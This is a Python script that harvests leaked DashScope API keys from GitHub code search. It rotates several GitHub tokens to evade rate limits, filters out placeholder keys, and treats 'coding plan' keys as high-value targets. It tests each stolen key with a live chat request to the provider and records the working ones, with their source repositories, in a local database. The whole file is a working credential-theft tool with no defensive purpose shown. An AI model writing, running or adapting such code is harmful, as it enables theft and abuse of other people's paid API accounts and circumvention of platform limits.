206 lines
6.7 KiB
Python
Executable File
206 lines
6.7 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
"""
|
|
GitHub code search scraper — extracts REAL DashScope API keys from search results.
|
|
Filters out placeholders (sk-xxx, sk-..., sk-your-*, sk-example).
|
|
Pages through all results using GitHub API with token rotation.
|
|
"""
|
|
import os
|
|
import re
|
|
import sys
|
|
import time
|
|
import hashlib
|
|
import sqlite3
|
|
import requests
|
|
from typing import Union, Optional, Any
|
|
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
DB_PATH = os.path.join(KF_BASE, "data", "keys.db")
|
|
|
|
# === PATTERN: DashScope keys in code ===
|
|
RE_KEY = re.compile(r'(sk(-[a-z]{2,4}){0,2}-[0-9a-zA-Z_\-.]{8,200})', re.IGNORECASE)
|
|
|
|
# Placeholder patterns — skip these
|
|
RE_PLACEHOLDER = re.compile(
|
|
r'(sk-xxx|sk-\.{3,}|sk-your-|sk-YOUR|sk-example|sk-\*+|sk-None|sk-placeholder|'
|
|
r'sk-[x*]{8,}|sk-[0]{8,}|sk-[f]{8,}|sk-[a-f0-9]{32}|sk-test)',
|
|
re.IGNORECASE)
|
|
|
|
# Coding plan keys — high-value target
|
|
RE_CODING = re.compile(r'(sk-ws-H\.[A-Za-z0-9]{6}\.[A-Za-z0-9]{4}\.[A-Za-z0-9_\-+\/=]{50,})')
|
|
|
|
# Standard hex keys
|
|
RE_STANDARD = re.compile(r'(sk-[0-9a-f]{32})', re.IGNORECASE)
|
|
|
|
|
|
def load_tokens(path):
|
|
with open(path, encoding="utf-8", errors="replace") as f:
|
|
return [l.strip() for l in f if l.strip() and not l.startswith("#")]
|
|
|
|
|
|
def key_seen(db_cur, key):
|
|
h = hashlib.sha256(key.encode()).hexdigest()
|
|
db_cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
|
|
return db_cur.fetchone() is not None
|
|
|
|
|
|
def extract_keys(text):
|
|
"""Extract all plausible keys, skip placeholders."""
|
|
found = set()
|
|
|
|
# Priority: coding-plan keys (high value)
|
|
for m in RE_CODING.finditer(text):
|
|
raw = m.group(1)
|
|
if not RE_PLACEHOLDER.search(raw):
|
|
found.add(raw)
|
|
|
|
# Standard hex keys
|
|
for m in RE_STANDARD.finditer(text):
|
|
raw = m.group(1)
|
|
if not RE_PLACEHOLDER.search(raw):
|
|
found.add(raw)
|
|
|
|
return found
|
|
|
|
|
|
def validate_key(key):
|
|
"""Quick validation."""
|
|
endpt = "dashscope-intl.aliyuncs.com" if "ws-H." in key else "dashscope.aliyuncs.com"
|
|
url = f"https://{endpt}/compatible-mode/v1/chat/completions"
|
|
model = "qwen3.7-flash" if "ws-H." in key else "qwen-flash"
|
|
|
|
try:
|
|
r = requests.post(url,
|
|
headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
|
json={"model": model, "messages": [{"role": "user", "content": "yo"}], "max_tokens": 2},
|
|
timeout=10)
|
|
return r.status_code, r.json()
|
|
except:
|
|
return -1, {}
|
|
|
|
|
|
def search_github(query, token, page=1, per_page=100):
|
|
"""Search GitHub code with pagination."""
|
|
url = "https://api.github.com/search/code"
|
|
headers = {
|
|
"Authorization": f"token {token}",
|
|
"Accept": "application/vnd.github.v3+json",
|
|
"User-Agent": "keyhunter/1.0"
|
|
}
|
|
params = {"q": query, "per_page": per_page, "page": page}
|
|
|
|
r = requests.get(url, headers=headers, params=params, timeout=30)
|
|
if r.status_code == 403:
|
|
# Rate limited
|
|
return None, None
|
|
|
|
if r.status_code != 200:
|
|
return None, None
|
|
|
|
data = r.json()
|
|
items = data.get("items", [])
|
|
total = data.get("total_count", 0)
|
|
|
|
# Extract keys from text matches
|
|
found = []
|
|
for item in items:
|
|
repo = item["repository"]["full_name"]
|
|
path_item = item["name"]
|
|
|
|
for tm in item.get("text_matches", []):
|
|
fragment = tm.get("fragment", "")
|
|
keys = extract_keys(fragment)
|
|
for k in keys:
|
|
found.append((k, repo, path_item))
|
|
|
|
return found, data
|
|
|
|
|
|
def main():
|
|
tokens = load_tokens(os.path.join(KF_BASE, "gh_tokens.txt"))
|
|
if not tokens:
|
|
print("[!] No tokens!")
|
|
return 1
|
|
|
|
db = sqlite3.connect(DB_PATH)
|
|
cur = db.cursor()
|
|
|
|
queries = [
|
|
# High-precision: coding plan keys
|
|
'"sk-ws-H." language:python',
|
|
# Standard keys in .env files
|
|
'"sk-" "DASHSCOPE_API_KEY" extension:env NOT "sk-xxx"',
|
|
# Standard keys in Python
|
|
'"sk-" "DASHSCOPE" language:python NOT "sk-xxx" NOT "sk-your"',
|
|
# In config files
|
|
'"DASHSCOPE_API_KEY" "sk-" extension:yaml NOT "sk-xxx"',
|
|
]
|
|
|
|
total_new = 0
|
|
total_found = 0
|
|
token_idx = 0
|
|
|
|
for query in queries:
|
|
print(f"\n--- QUERY: {query} ---")
|
|
page = 1
|
|
while True:
|
|
token = tokens[token_idx % len(tokens)]
|
|
token_idx += 1
|
|
|
|
items, data = search_github(query, token, page)
|
|
|
|
if items is None and data is None:
|
|
print(f" Rate limited / error on page {page}, switching token")
|
|
token_idx += 1
|
|
time.sleep(1)
|
|
continue
|
|
|
|
if not items:
|
|
print(f" Page {page}: 0 keys")
|
|
break
|
|
|
|
total = data.get("total_count", len(items))
|
|
print(f" Page {page}: {len(items)} keys found in {total} total results")
|
|
|
|
for key, repo, path in items:
|
|
total_found += 1
|
|
if not key_seen(cur, key):
|
|
total_new += 1
|
|
stat, resp = validate_key(key)
|
|
status_text = "WORKING" if stat == 200 else "DEAD"
|
|
info = ""
|
|
if stat == 200 and resp.get("choices"):
|
|
info = resp["choices"][0]["message"]["content"][:40]
|
|
|
|
plan = "coding" if "ws-H." in key else "standard"
|
|
now_str = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
|
|
h = hashlib.sha256(key.encode()).hexdigest()
|
|
|
|
try:
|
|
cur.execute("""
|
|
INSERT OR REPLACE INTO keys VALUES (?,?,?,?,?,?,?,?,?,?,?)
|
|
""", (h, key, 'DASHSCOPE', status_text, plan, '', '',
|
|
now_str, f"github:{repo}/{path}", now_str, now_str))
|
|
tag = "✓" if status_text == "WORKING" else "✗"
|
|
print(f" [{tag}] {key[3:15]}... {status_text} | {repo}/{path}")
|
|
except Exception as e:
|
|
print(f" [!] DB error: {e}")
|
|
|
|
if total_new % 10 == 0:
|
|
db.commit()
|
|
|
|
db.commit()
|
|
|
|
if not items or page * 100 >= min(total, 1000):
|
|
break
|
|
page += 1
|
|
time.sleep(0.5)
|
|
|
|
print(f"\n=== DONE === Found: {total_found}, New: {total_new}")
|
|
cur.execute("SELECT status, COUNT(*) FROM keys WHERE prov='DASHSCOPE' GROUP BY status")
|
|
for s, c in cur.fetchall():
|
|
print(f" {s}: {c}")
|
|
db.close()
|
|
|
|
|
|
if __name__ == "__main__":
|
|
sys.exit(main()) |